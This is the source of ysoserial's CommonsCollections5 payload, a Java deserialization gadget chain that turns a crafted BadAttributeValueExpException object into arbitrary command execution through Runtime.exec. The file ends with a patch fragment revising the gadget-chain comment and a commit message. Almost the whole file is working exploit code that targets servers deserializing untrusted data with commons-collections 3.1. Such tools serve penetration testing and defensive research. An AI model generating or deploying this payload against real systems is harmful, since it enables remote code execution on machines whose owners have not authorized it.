package ysoserial.payloads;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */
/*
This only works in JDK 8u76 and WITHOUT a security manager

https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
 */
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {

	public BadAttributeValueExpException getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
		        new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
		Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
		valfield.set(val, entry);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return val;
	}

	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsCollections5.class, args);
	}

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isBadAttrValExcReadObj();
    }

}

@@ -909,18 +909,24 @@
  chain:%0A
-%09%09
+        
 ObjectIn
@@ -952,147 +952,161 @@
 t()%0A
-%09%09%09AnnotationInvocationHandler.readObject()%0A%09%09%09%09Map(Proxy).entrySet()%0A%09%09%09%09%09AnnotationInvocationHandler.invoke()%0A%09%09%09%09%09%09LazyMap.get()%0A%09%09%09%09%09%09%09
+            BadAttributeValueExpException.readObject()%0A                TiedMapEntry.toString()%0A                    LazyMap.get()%0A                        
 Chai
@@ -1132,24 +1132,44 @@
 sform()%0A
-%09%09%09%09%09%09%09%09
+                            
 Constant
@@ -1192,24 +1192,44 @@
 sform()%0A
-%09%09%09%09%09%09%09%09
+                            
 InvokerT
@@ -1255,230 +1255,417 @@
 m()%0A
-%09%09%09%09%09%09%09%09%09Method.invoke()%0A%09%09%09%09%09%09%09%09%09%09Class.getMethod()%0A%09%09%09%09%09%09%09%09InvokerTransformer.transform()%0A%09%09%09%09%09%09%09%09%09Method.invoke()%0A%09%09%09%09%09%09%09%09%09%09Runtime.getRuntime()%0A%09%09%09%09%09%09%09%09InvokerTransformer.transform()%0A%09%09%09%09%09%09%09%09%09Method.invoke()%0A%09%09%09%09%09%09%09%09%09%09
+                                Method.invoke()%0A                                    Class.getMethod()%0A                            InvokerTransformer.transform()%0A                                Method.invoke()%0A                                    Runtime.getRuntime()%0A                            InvokerTransformer.transform()%0A                                Method.invoke()%0A                                    
 Runt

Update CommonsCollections5.java